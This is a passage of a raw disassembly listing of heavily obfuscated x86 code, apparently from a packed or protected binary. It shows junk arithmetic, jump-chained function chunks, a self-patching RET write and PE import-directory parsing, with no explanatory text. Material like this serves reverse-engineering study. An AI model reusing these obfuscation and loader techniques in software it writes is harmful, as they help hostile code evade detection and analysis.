00000009 BYTES ; FUNCTION CHUNK AT 1001D653 SIZE 00000010 BYTES test byte ptr [eax-8], 80h jz loc_1001521D inc dword ptr [ebp-8] loc_1001D4D6: ; CODE XREF: sub_1001D4C9:loc_10015900j ; sub_1001C8BC+4j mov eax, [ebp-8] pop ecx pop ecx push offset loc_1001521B jmp loc_1001A9B7 sub_1001D4C9 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_1001D4E5 proc near ; CODE XREF: an.kk9rg:10015C72j ; sub_10014189+9549p ; FUNCTION CHUNK AT 1001DAD3 SIZE 00000005 BYTES xchg esi, [esp+0] pop esi push eax call sub_100174F4 jmp loc_1001DAD3 sub_1001D4E5 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D4F4: ; CODE XREF: sub_10013916:loc_10019A1Dj ; sub_10013389:loc_1001AC36j xor edi, 505F366Bh add edi, ebp add edi, 86808582h mov [edi], eax pop edi loc_1001D505: ; CODE XREF: sub_10013389+300Bj pushf jmp loc_10017606 ; END OF FUNCTION CHUNK FOR sub_10013389 ; =============== S U B R O U T I N E ======================================= sub_1001D50B proc near ; DATA XREF: an.kk9rg:1001A839o ; FUNCTION CHUNK AT 1001361E SIZE 0000000A BYTES ; FUNCTION CHUNK AT 100198B2 SIZE 00000005 BYTES push edx push esi push 0AA3A80F0h pop esi xor esi, 0E4E371E8h and esi, 9F91DC83h xor esi, 0A489E90Eh jmp loc_1001361E sub_1001D50B endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D461 loc_1001D52A: ; CODE XREF: sub_1001D461+1j mov ebp, esp push ecx mov [ebp-4], eax push 35080C2h jmp loc_10013A23 ; END OF FUNCTION CHUNK FOR sub_1001D461 ; =============== S U B R O U T I N E ======================================= sub_1001D53A proc near ; DATA XREF: sub_10013389+8694o inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] loc_1001D540: ; CODE XREF: sub_1001D862+7j and eax, 0FFh mov eax, ds:dword_10013BD4[eax*4] mov [ebp-8], eax sub_1001D53A endp ; sp-analysis failed ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D54F: ; CODE XREF: sub_10015B5D+1D0Dj ; sub_10015B5D+7D15j jnz loc_1001599F test byte ptr [ebp-8], 2 jmp loc_1001C675 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015945 loc_1001D55E: ; CODE XREF: sub_10015945:loc_100130DFj add edi, 86EEE00Ah mov [edi], eax pop edi lea eax, loc_1001371F mov byte ptr [eax], 0C3h loc_1001D570: ; CODE XREF: an.kk9rg:loc_1001B2F0j jmp loc_1001371F ; END OF FUNCTION CHUNK FOR sub_10015945 ; --------------------------------------------------------------------------- loc_1001D575: ; CODE XREF: an.kk9rg:100131F5j test esi, 7DF1EBB6h jmp loc_1001C793 ; --------------------------------------------------------------------------- loc_1001D580: ; DATA XREF: an.kk9rg:1001849Fo cmp al, 0A4h jz loc_1001C7EE jmp loc_10016D5B ; --------------------------------------------------------------------------- rol ecx, 10h jmp sub_1001CEDD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D595: ; CODE XREF: sub_100136D7:loc_1001AD66j ; sub_100136D7+8125j push 2A73A971h pop eax xor eax, 1EFCD6h or eax, 2B609D73h rol eax, 0Ah jmp loc_10018E3D ; END OF FUNCTION CHUNK FOR sub_100136D7 ; =============== S U B R O U T I N E ======================================= sub_1001D5AF proc near ; CODE XREF: sub_1001492C-20Dp ; an.kk9rg:10016150j arg_0 = dword ptr 4 ; FUNCTION CHUNK AT 10015499 SIZE 0000000A BYTES xchg ebx, [esp+0] pop ebx xchg esi, [esp-4+arg_0] push ecx jmp loc_10015499 sub_1001D5AF endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10018066 loc_1001D5BC: ; CODE XREF: sub_10018066:loc_10018077j push eax push eax mov edx, eax loc_1001D5C0: ; CODE XREF: sub_10019C87:loc_1001C0B6j call sub_10019030 call sub_100142E8 or eax, eax jnz loc_10014461 jmp loc_1001D3A6 ; END OF FUNCTION CHUNK FOR sub_10018066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017A58 loc_1001D5D7: ; CODE XREF: sub_10017A58:loc_1001884Cj cmp byte ptr [eax], 0F1h jnz loc_1001C9C6 jmp loc_1001CB1A ; END OF FUNCTION CHUNK FOR sub_10017A58 ; --------------------------------------------------------------------------- sub ebx, ecx jmp sub_1001CF40 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D5EC: ; CODE XREF: sub_10013389+1BAj jz loc_10014325 jmp loc_1001CEF4 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001BBDA loc_1001D5F7: ; CODE XREF: sub_1001BBDA-73B8j pop ecx loc_1001D5F8: ; CODE XREF: sub_1001BBDA:loc_10015CFDj push 0FD28E452h pop eax and eax, 0D1CE9823h jmp loc_10014664 ; END OF FUNCTION CHUNK FOR sub_1001BBDA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001D609: ; CODE XREF: sub_100193F2:loc_1001ACD3j xchg edi, [esp+0] push eax push 0D4FBC9E5h pop eax add eax, 38B7BB3Fh xor eax, 0DB38524h jmp loc_1001DA32 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- loc_1001D624: ; DATA XREF: sub_10015353+4C2Eo push edx push eax mov eax, [ebp-18h] shl eax, 2 cdq js loc_10014083 jmp loc_1001C55E ; --------------------------------------------------------------------------- rol ebx, 16h jmp loc_1001C6AA ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C529 loc_1001D640: ; CODE XREF: sub_1001C529:loc_100176D5j mov eax, [esp+0] push edx call sub_1001B982 push 0DF1019EAh jmp loc_10018BB8 ; END OF FUNCTION CHUNK FOR sub_1001C529 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D4C9 loc_1001D653: ; CODE XREF: sub_1001D4C9:loc_10014F18j jnz loc_1001C8C5 push offset sub_1001C8BC jmp nullsub_152 ; END OF FUNCTION CHUNK FOR sub_1001D4C9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D37F loc_1001D663: ; CODE XREF: sub_1001D37F:loc_10017B83j call sub_10013BB8 call sub_1001A4DF mov edx, [ebx+3Ch] mov edx, [ebx+edx+80h] or edx, edx jmp loc_1001892F ; END OF FUNCTION CHUNK FOR sub_1001D37F ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D67E: ; CODE XREF: sub_10013389+78B9j mov esi, [ebp+0] ror edi, 0Eh ; END OF FUNCTION CHUNK FOR sub_10013389 ; START OF FUNCTION CHUNK FOR sub_1001A97E loc_1001D684: ; CODE XREF: sub_10013389:loc_1001551Cj ; sub_10014092:loc_10015C52j ... jmp loc_1001BA7F ; END OF FUNCTION CHUNK FOR sub_1001A97E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D689: ; CODE XREF: sub_10013389+11Fj ; sub_1001A97E-40B5j pop ecx jmp loc_1001D446 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001D68F: ; CODE XREF: sub_10019595:loc_10017574j push 985DBC5Bh pop edx sub edx, 0A9CA30E9h cmp edx, 46BA34C6h jmp loc_10016B5E ; END OF FUNCTION CHUNK FOR sub_10019595 ; =============== S U B R O U T I N E ======================================= sub_1001D6A6 proc near ; CODE XREF: sub_1001DAA8:loc_1001DAB4j ; FUNCTION CHUNK AT 1001848E SIZE 00000005 BYTES push ebx push 0D516B4F8h pop ebx sub ebx, 4FF8C1ACh add ebx, 8AE38DD4h push offset sub_1001A54C jmp loc_1001848E sub_1001D6A6 endp ; --------------------------------------------------------------------------- loc_1001D6C3: ; DATA XREF: sub_10018F13+9o mov ds:dword_100185F8, eax retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001D6CA: ; CODE XREF: sub_10016734-2C15j jmp loc_10018236 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10014189 loc_1001D6CF: ; CODE XREF: sub_10014189+74B3j rol eax, 10h call sub_1001D4E5 loc_1001D6D7: ; CODE XREF: an.kk9rg:1001844Dj jmp nullsub_155 ; END OF FUNCTION CHUNK FOR sub_10014189 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019571 loc_1001D6DC: ; CODE XREF: sub_10019571:loc_1001550Cj jz loc_10017C64 jmp loc_10013B2B ; END OF FUNCTION CHUNK FOR sub_10019571 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D251 loc_1001D6E7: ; CODE XREF: sub_1001D251+847j mov esi, ecx jmp loc_1001A506 ; END OF FUNCTION CHUNK FOR sub_1001D251 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D6EE: ; CODE XREF: sub_10015B5D:loc_1001660Cj sub eax, [ebp-0Ch] mov [ebp-0Ch], eax ; END OF FUNCTION CHUNK FOR sub_10015B5D ; START OF FUNCTION CHUNK FOR sub_100142E8 loc_1001D6F4: ; CODE XREF: sub_10015B5D:loc_10016F7Aj ; sub_100142E8:loc_10019631j ... mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax jmp loc_10019A0E ; END OF FUNCTION CHUNK FOR sub_100142E8 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015DB9 loc_1001D702: ; CODE XREF: sub_10015DB9:loc_10016855j add edx, ebp call sub_100136D7 loc_1001D709: ; CODE XREF: an.kk9rg:1001809Cj jmp sub_10014189 ; END OF FUNCTION CHUNK FOR sub_10015DB9 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100151FD loc_1001D70E: ; CODE XREF: sub_100151FD:loc_1001D4ADj jnz loc_10015FA0 jmp loc_10018AED ; END OF FUNCTION CHUNK FOR sub_100151FD ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015066 loc_1001D719: ; CODE XREF: sub_10015066:loc_10017519j shr ebx, 15h jno loc_100137C3 jmp loc_10016E08 ; END OF FUNCTION CHUNK FOR sub_10015066 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D727: ; CODE XREF: sub_10013389+4526j ror ebp, 1Ch jmp loc_10019C7A ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013061 loc_1001D72F: ; CODE XREF: sub_10013061+1ECBj sub al, 99h push 14B86D42h xchg edi, [esp+0] mov edx, edi jmp loc_1001A2E9 ; END OF FUNCTION CHUNK FOR sub_10013061 ; --------------------------------------------------------------------------- dword_1001D740 dd 0 ; sub_10015B5D+28D5r dword_1001D744 dd 0 ; an.kk9rg:10016B15w ... dword_1001D748 dd 0 ; --------------------------------------------------------------------------- loc_1001D74C: ; CODE XREF: an.kk9rg:10017B0Dj jmp locret_10018C6F ; --------------------------------------------------------------------------- db 4Ah, 85h, 38h dword_1001D754 dd 0 ; sub_10019571:loc_1001DB44w dword_1001D758 dd 0 ; sub_10015131+88ECw ; --------------------------------------------------------------------------- loc_1001D75C: ; CODE XREF: an.kk9rg:1001AB2Bj jmp loc_1001B342 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D761: ; CODE XREF: sub_10013389:loc_1001B560j jz loc_10018C2A jmp loc_100185FC ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push 0CE3638F4h jmp loc_1001C546 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100136D7 loc_1001D776: ; CODE XREF: sub_100136D7+8A78j and ecx, 0EDFF6974h and ecx, ebp jmp loc_10013729 ; END OF FUNCTION CHUNK FOR sub_100136D7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016A39 loc_1001D783: ; CODE XREF: sub_10016A39:loc_100163F5j xor eax, 921D04E8h rol eax, 1Eh and eax, 0F756D165h test eax, 2000h jmp loc_10019D76 ; END OF FUNCTION CHUNK FOR sub_10016A39 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B8D3 loc_1001D79D: ; CODE XREF: sub_1001B8D3:loc_1001AD10j pop ebp mov eax, [esp-8+arg_4] push edx push edi push 788829A5h pop edi jmp loc_1001AC17 ; END OF FUNCTION CHUNK FOR sub_1001B8D3 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_138. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001D7AF: ; CODE XREF: sub_10013389+931Cj jmp loc_10015240 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001D7B4: ; CODE XREF: sub_10019E2E+1B02j jmp loc_1001577D ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016734 loc_1001D7B9: ; CODE XREF: sub_10016734+Ej jmp loc_1001B1B2 ; END OF FUNCTION CHUNK FOR sub_10016734 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016FA0 loc_1001D7BE: ; CODE XREF: sub_10016FA0:loc_1001C19Cj jnz loc_10018C91 lea eax, [ebp-125h] push eax call sub_10018CA1 mov [ebp-4], eax jmp loc_1001B1EB ; END OF FUNCTION CHUNK FOR sub_10016FA0 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_169. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- add ebp, eax jmp sub_1001B2CC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C799 loc_1001D7E0: ; CODE XREF: sub_1001C799-3D97j jz loc_1001C65D loc_1001D7E6: ; CODE XREF: an.kk9rg:loc_1001DB99j cmp ebx, 70B8A575h jmp loc_1001C651 ; END OF FUNCTION CHUNK FOR sub_1001C799 ; --------------------------------------------------------------------------- add eax, 7C959F31h jmp loc_10015630 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015A60 loc_1001D7FC: ; CODE XREF: sub_10015A60:loc_10019854j mov eax, [ebp-20h] movzx eax, byte ptr [eax] mov [ebp-1Ch], eax inc dword ptr [ebp-20h] mov eax, [ebp-1Ch] mov eax, ds:dword_1001BCAC[eax*4] call sub_10013150 ; END OF FUNCTION CHUNK FOR sub_10015A60 ; START OF FUNCTION CHUNK FOR sub_10017DC3 loc_1001D817: ; CODE XREF: sub_10017DC3:loc_10016DD5j jmp nullsub_160 ; END OF FUNCTION CHUNK FOR sub_10017DC3 ; =============== S U B R O U T I N E ======================================= sub_1001D81C proc near ; DATA XREF: sub_100132E5+297Eo ; FUNCTION CHUNK AT 10013FD4 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100143B2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100172C9 SIZE 00000021 BYTES ; FUNCTION CHUNK AT 1001D883 SIZE 0000000A BYTES add eax, ebp add eax, 873B7E55h mov eax, [eax] mov ecx, [eax] jmp loc_100143B2 sub_1001D81C endp ; --------------------------------------------------------------------------- loc_1001D82D: ; CODE XREF: an.kk9rg:loc_1001A88Aj cmp dword ptr [ebp-10h], 2 jnz loc_1001C7B0 mov eax, [ebp+8] or dword ptr [eax-8], 8 loc_1001D83E: ; CODE XREF: an.kk9rg:loc_10016437j jmp loc_1001C7B0 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D843: ; CODE XREF: sub_10015B5D-29F2j ; sub_10015B5D+5076j cmp dword ptr [ebp-1Ch], 67h loc_1001D847: ; CODE XREF: an.kk9rg:100196A9j jnz loc_1001D6F4 mov eax, 6 jmp loc_1001AE2F ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001CF40 loc_1001D857: ; CODE XREF: sub_1001CF40-8A32j jnz loc_1001921B jmp loc_1001C818 ; END OF FUNCTION CHUNK FOR sub_1001CF40 ; =============== S U B R O U T I N E ======================================= sub_1001D862 proc near ; CODE XREF: sub_10015B5D-23DCp ; an.kk9rg:100196AFj xchg ebx, [esp+0] pop ebx mov eax, [ebp-1Ch] jmp loc_1001D540 sub_1001D862 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015B5D loc_1001D86E: ; CODE XREF: sub_10015B5D:loc_1001436Ej cmp dword ptr [ebp-1Ch], 0Fh jnz loc_1001D54F mov eax, [ebp-1Ch] shl eax, 8 jmp loc_1001B973 ; END OF FUNCTION CHUNK FOR sub_10015B5D ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D81C loc_1001D883: ; CODE XREF: sub_1001D81C:loc_10013FD4j push offset sub_1001D8D9 jmp nullsub_163 ; END OF FUNCTION CHUNK FOR sub_1001D81C ; =============== S U B R O U T I N E ======================================= sub_1001D88D proc near ; CODE XREF: sub_10017A58:loc_1001D08Fj ; FUNCTION CHUNK AT 10014112 SIZE 0000000E BYTES ; FUNCTION CHUNK AT 10014B6D SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10017C89 SIZE 00000008 BYTES ; FUNCTION CHUNK AT 10019BCA SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001D229 SIZE 0000000B BYTES push ebp jmp loc_10014112 sub_1001D88D endp ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_60. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100141C1 loc_1001D894: ; CODE XREF: sub_100141C1:loc_10019842j push 0ACD22B0Bh pop edi sub edi, 0E04F0230h add edi, 437E712Dh xchg edi, [esp+4+var_4] jmp loc_10019C45 ; END OF FUNCTION CHUNK FOR sub_100141C1 ; --------------------------------------------------------------------------- loc_1001D8AE: ; CODE XREF: an.kk9rg:1001B4E8j ; an.kk9rg:1001B4F3j rol ebx, 17h and ebx, 6D7AD6ACh sub ebx, 37D30389h js loc_1001C22B ; START OF FUNCTION CHUNK FOR sub_100180C2 loc_1001D8C3: ; CODE XREF: sub_100180C2+5ABBj jmp loc_10015314 ; END OF FUNCTION CHUNK FOR sub_100180C2 ; --------------------------------------------------------------------------- jnz loc_1001536E jmp loc_1001C223 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_111. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013688 loc_1001D8D4: ; CODE XREF: sub_10013688+6695j jmp loc_1001927A ; END OF FUNCTION CHUNK FOR sub_10013688 ; =============== S U B R O U T I N E ======================================= sub_1001D8D9 proc near ; DATA XREF: sub_1001D81C:loc_1001D883o ; FUNCTION CHUNK AT 10016664 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 10018D2B SIZE 00000008 BYTES ; FUNCTION CHUNK AT 1001C741 SIZE 0000000A BYTES mov ebx, [eax] add eax, 4 mov edi, [eax] add eax, 4 mov esi, [eax] add eax, 4 jmp loc_10016664 sub_1001D8D9 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001701B loc_1001D8ED: ; CODE XREF: sub_1001701B:loc_1001DF12j jnb loc_10017E63 push offset sub_1001603C jmp nullsub_178 ; END OF FUNCTION CHUNK FOR sub_1001701B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10016D66 loc_1001D8FD: ; CODE XREF: sub_10016D66:loc_10014014j mov ebx, 0D90AA23Bh js loc_100174FA jmp loc_10013AA2 ; END OF FUNCTION CHUNK FOR sub_10016D66 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001D90D: ; CODE XREF: sub_100193F2:loc_100146C2j cdq jmp loc_10018278 ; END OF FUNCTION CHUNK FOR sub_100193F2 ; =============== S U B R O U T I N E ======================================= sub_1001D913 proc near ; DATA XREF: sub_10013389+AEo push eax push offset sub_10015868 jmp loc_1001DB50 sub_1001D913 endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019E2E loc_1001D91E: ; CODE XREF: sub_10019E2E+2925j sbb esi, 8B939175h mov ecx, edx loc_1001D926: ; CODE XREF: an.kk9rg:100197E2j and ebp, esi loc_1001D928: ; CODE XREF: sub_1001D9A7-A757j ; sub_10019E2E:loc_10013A5Fj ... jmp loc_10015B66 ; --------------------------------------------------------------------------- loc_1001D92D: ; CODE XREF: sub_10019E2E-224j ; sub_1001D9A7+7j xchg ebx, [esp-4+arg_0] mov ecx, ebx pop ebx jmp loc_1001800E ; END OF FUNCTION CHUNK FOR sub_10019E2E ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019473 loc_1001D938: ; CODE XREF: sub_10019473+16j sub eax, 0D7B2A0AAh add eax, 0F220C0E3h add eax, ebp add eax, 591499Dh jmp loc_1001860C ; END OF FUNCTION CHUNK FOR sub_10019473 ; =============== S U B R O U T I N E ======================================= sub_1001D951 proc near ; CODE XREF: an.kk9rg:1001752Dj ; sub_1001A54C:loc_1001B258p ; FUNCTION CHUNK AT 10014BD2 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 100166B7 SIZE 00000011 BYTES ; FUNCTION CHUNK AT 100166D2 SIZE 00000006 BYTES ; FUNCTION CHUNK AT 1001A8FA SIZE 0000000F BYTES ; FUNCTION CHUNK AT 1001B823 SIZE 00000005 BYTES ; FUNCTION CHUNK AT 1001C252 SIZE 0000000E BYTES xchg ebx, [esp+0] pop ebx push edi push 2AB1C4D8h pop edi or edi, 2A336A00h and edi, 30E13793h jmp loc_100166B7 sub_1001D951 endp ; --------------------------------------------------------------------------- rol ecx, 1Dh jmp sub_1001D190 ; --------------------------------------------------------------------------- loc_1001D975: ; DATA XREF: sub_10017273:loc_10017283o jle loc_10017338 mov eax, [ebp-4] xor edx, edx push edx push eax mov eax, [ebp-8] cdq jmp loc_1001CA16 ; --------------------------------------------------------------------------- loc_1001D98B: ; CODE XREF: an.kk9rg:100152AEj or edi, 0ACB4E98Dh ; START OF FUNCTION CHUNK FOR sub_1001725E loc_1001D991: ; CODE XREF: sub_1001725E-1FBDj sub ebx, 2A70C68Bh add ebx, 37F0D5D7h mov [ebx], eax xchg ebp, [esp+0] jmp loc_10015B0F ; END OF FUNCTION CHUNK FOR sub_1001725E ; =============== S U B R O U T I N E ======================================= sub_1001D9A7 proc near ; CODE XREF: sub_10019E2E-4F26p ; an.kk9rg:1001D071j ; FUNCTION CHUNK AT 10013248 SIZE 0000000D BYTES ; FUNCTION CHUNK AT 10015D6A SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001AF94 SIZE 0000000B BYTES ; FUNCTION CHUNK AT 1001DA3C SIZE 00000005 BYTES xchg ecx, [esp+0] pop ecx cmp byte ptr [eax], 0F1h jnz loc_1001D92D jmp loc_1001AF94 sub_1001D9A7 endp ; sp-analysis failed ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10019595 loc_1001D9B9: ; CODE XREF: sub_10019595:loc_1001938Cj ; sub_10019595-1FCj add ebx, 5801EB48h xchg ebx, [esp+0] jmp loc_10019986 ; END OF FUNCTION CHUNK FOR sub_10019595 ; --------------------------------------------------------------------------- call sub_1001997C ; START OF FUNCTION CHUNK FOR sub_10016A1B loc_1001D9CC: ; CODE XREF: sub_10016A1B+4044j jmp loc_10016958 ; END OF FUNCTION CHUNK FOR sub_10016A1B ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001498A loc_1001D9D1: ; CODE XREF: sub_1001498A+4067j jmp loc_10019AB9 ; END OF FUNCTION CHUNK FOR sub_1001498A ; --------------------------------------------------------------------------- loc_1001D9D6: ; CODE XREF: an.kk9rg:10013014j ; an.kk9rg:loc_1001C1ACj push eax push 6CD5B098h pop eax or eax, 32501FB4h and eax, 471F6250h add eax, 0C9EC65D9h xchg eax, [esp] jmp sub_100180C2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001590F loc_1001D9F7: ; CODE XREF: sub_1001590F+51E6j jz loc_1001382B ; END OF FUNCTION CHUNK FOR sub_1001590F ; START OF FUNCTION CHUNK FOR sub_10019409 loc_1001D9FD: ; CODE XREF: sub_10019409-3E39j jmp loc_1001B6E9 ; END OF FUNCTION CHUNK FOR sub_10019409 ; --------------------------------------------------------------------------- push edi cmp edi, 0CAD38DEh jmp loc_1001B057 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001C535 loc_1001DA0E: ; CODE XREF: sub_1001C535-50F8j cmp ebp, 68E45B54h jmp loc_1001CFDA ; END OF FUNCTION CHUNK FOR sub_1001C535 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10015131 loc_1001DA19: ; CODE XREF: sub_10015131:loc_100141C8j push eax ror eax, 0Ch mov ds:dword_1001D758, eax retn ; END OF FUNCTION CHUNK FOR sub_10015131 ; --------------------------------------------------------------------------- loc_1001DA24: ; CODE XREF: an.kk9rg:10015E2Ej jmp locret_1001A843 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017803 loc_1001DA29: ; CODE XREF: sub_10017803-49j rol eax, 0Ch jmp loc_100158C6 ; END OF FUNCTION CHUNK FOR sub_10017803 ; [00000001 BYTES: COLLAPSED FUNCTION nullsub_50. PRESS KEYPAD "+" TO EXPAND] ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100193F2 loc_1001DA32: ; CODE XREF: sub_100193F2+422Dj jmp loc_1001AD4B ; END OF FUNCTION CHUNK FOR sub_100193F2 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DA37: ; CODE XREF: sub_10013389+943Dj jmp loc_1001C46B ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D9A7 loc_1001DA3C: ; CODE XREF: sub_1001D9A7-2A0Dj jmp loc_10015D6A ; END OF FUNCTION CHUNK FOR sub_1001D9A7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001A4DF loc_1001DA41: ; CODE XREF: sub_1001A4DF+17j jmp loc_10018338 ; END OF FUNCTION CHUNK FOR sub_1001A4DF ; --------------------------------------------------------------------------- loc_1001DA46: ; CODE XREF: an.kk9rg:1001ADDCj add ebp, 1452564Ah mov edi, 0E2A8E639h ; START OF FUNCTION CHUNK FOR sub_10013389 loc_1001DA51: ; CODE XREF: sub_10013389:loc_1001ADC5j add eax, 6AE0BF79h mov eax, [eax] mov [ebp-4], eax jmp loc_10016CC5 ; END OF FUNCTION CHUNK FOR sub_10013389 ; --------------------------------------------------------------------------- push eax call sub_1001DA6D retn ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_10017803 loc_1001DA68: ; CODE XREF: sub_10017803+7j jmp loc_100177B2 ; END OF FUNCTION CHUNK FOR sub_10017803 ; =============== S U B R O U T I N E ======================================= sub_1001DA6D proc near ; CODE XREF: an.kk9rg:1001DA62p var_4 = dword ptr -4 ; FUNCTION CHUNK AT 10017F3F SIZE 0000000A BYTES ; FUNCTION CHUNK AT 1001DEC4 SIZE 00000005 BYTES push ecx mov ecx, ebp xchg ecx, [esp+4+var_4] jmp loc_1001DEC4 sub_1001DA6D endp ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100175DE loc_1001DA78: ; CODE XREF: sub_100175DE:loc_1001CD9Dj call sub_10019C34 ; END OF FUNCTION CHUNK FOR sub_100175DE ; START OF FUNCTION CHUNK FOR sub_100190DC loc_1001DA7D: ; CODE XREF: sub_100190DC-259Cj jmp loc_10014914 ; END OF FUNCTION CHUNK FOR sub_100190DC ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_100132E5 loc_1001DA82: ; CODE XREF: sub_100132E5+3203j jmp loc_10015FFE ; END OF FUNCTION CHUNK FOR sub_100132E5 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001B45F loc_1001DA87: ; CODE XREF: sub_1001B45F+165Bj cdq ; END OF FUNCTION CHUNK FOR sub_1001B45F ; START OF FUNCTION CHUNK FOR sub_1001A606 loc_1001DA88: ; CODE XREF: sub_1001A606:loc_10014470j call sub_10015B1B ; END OF FUNCTION CHUNK FOR sub_1001A606 ; START OF FUNCTION CHUNK FOR sub_1001A6F7 loc_1001DA8D: ; CODE XREF: sub_1001A6F7+8j jmp loc_100179DF ; END OF FUNCTION CHUNK FOR sub_1001A6F7 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001D251 loc_1001DA92: ; CODE XREF: sub_1001D251+Aj jnz loc_1001A512 jmp loc_1001D6E7 ; END OF FUNCTION CHUNK FOR sub_1001D251 ; --------------------------------------------------------------------------- ; START OF FUNCTION CHUNK FOR sub_1001ABFD loc_1001DA9D: ; CODE XREF: sub_1001ABFD:loc_1001A779j jnz loc_1001D10A jmp loc_10014B2F ; END OF 